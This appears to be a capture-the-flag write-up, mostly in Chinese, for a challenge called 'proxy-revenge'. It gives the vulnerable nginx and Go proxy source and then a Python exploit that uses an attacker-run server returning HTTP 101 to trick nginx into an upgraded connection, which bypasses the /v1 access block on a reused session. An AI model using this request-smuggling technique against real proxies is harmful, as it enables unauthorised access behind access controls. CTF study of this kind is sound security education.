proxy-revenge
/etc/nginx/conf.d
# map.conf
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
# $http_upgrade是请求中Upgrade头的值
# 这里的含义是如果请求头中Upgrade为空(或没有这个头), 则$connection_upgrade=close
# 否则 = upgrade
# proxy.conf
server {
listen 8000;
location ~ /v1 {
return 403;
}
location ~ /v2 {
proxy_pass http://localhost:8769;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade; # 原始请求的upgrade头
proxy_set_header Connection $connection_upgrade; # 'close' 或 'upgrade'
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
package main
import (
"bytes"
"crypto/rand"
"io"
"net/http"
"github.com/gin-gonic/gin"
)
type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}
func main() {
key := make([]byte, 64)
if _, err := io.ReadFull(rand.Reader, key); err != nil {
panic(err.Error())
}
// cmd := exec.Command("/readflag")
// flag, err := cmd.CombinedOutput()
// if err != nil {
// panic(err.Error())
// }
// flagStr := string(flag)
// flagStr := "flag{good}"
r := gin.Default()
v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{"flag": "hello"})
})
}
v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}
if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}
return nil
},
}
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
if bytes.Contains(body, []byte("flag")) {
c.JSON(http.StatusOK, gin.H{"status": "error", "message": "Flag is not allowed in response body"})
return
}
for i := 0; i < len(body); i++ {
body[i] ^= key[i%len(key)]
body[i] += key[(i+1)%len(key)]
body[i] -= key[(i+2)%len(key)]
body[i] ^= key[(i+3)%len(key)]
}
c.JSON(resp.StatusCode, gin.H{"status": "success", "body": body, "headers": resp.Header})
})
}
r.Run("127.0.0.1:8769")
}
v1路由禁止访问, v2是个代理服务, 想从v2 ssrf访问v1拿到flag被过滤了 (Range不生效 没想到其他绕过方法)
这里看到nginx配置中有不合群的upgrade
所以我们这里发个带Upgrade头的包, 那么nginx就会知道向后端发送一个协议升级的请求
这时如果后端返回status_code 101, nginx会认为升级成功, 后续该TCP连接上的请求将视为upgrade后的协议方式, 而不当作http
从而不会进行uri的匹配,进而绕过权限验证
如何控制后端返回101的响应呢? 刚好v2是个代理服务器嘛
#cracker
import requests
import json
target = "http://127.0.0.1:5870"
content = {"url": "http://10.201.65.210:5000/", "method": "get"} # 在http://10.201.65.210:5000启动一个返回101的python服务
# from flask import Flask, Response
# app = Flask(__file__)
# @app.route("/")
# def index():
# return "done", 101
# app.run("0.0.0.0", 5000)
# 使用 Session 可以复用 TCP 连接
with requests.Session() as session:
# 第一次请求
headers = {
"Upgrade": "websocket"
}
resp1 = session.post(f"{target}/v2/api/proxy", headers=headers, json=content) # 返回101, 欺骗nginx
print(resp1.status_code, resp1.text)
# 第二次请求,复用同一个 TCP 连接 (必须是刚才升级的连接)
resp2 = session.post(f"{target}/v1/api/flag") # nginx不认为是http请求, 不会进行检查
print(resp2.status_code, resp2.text)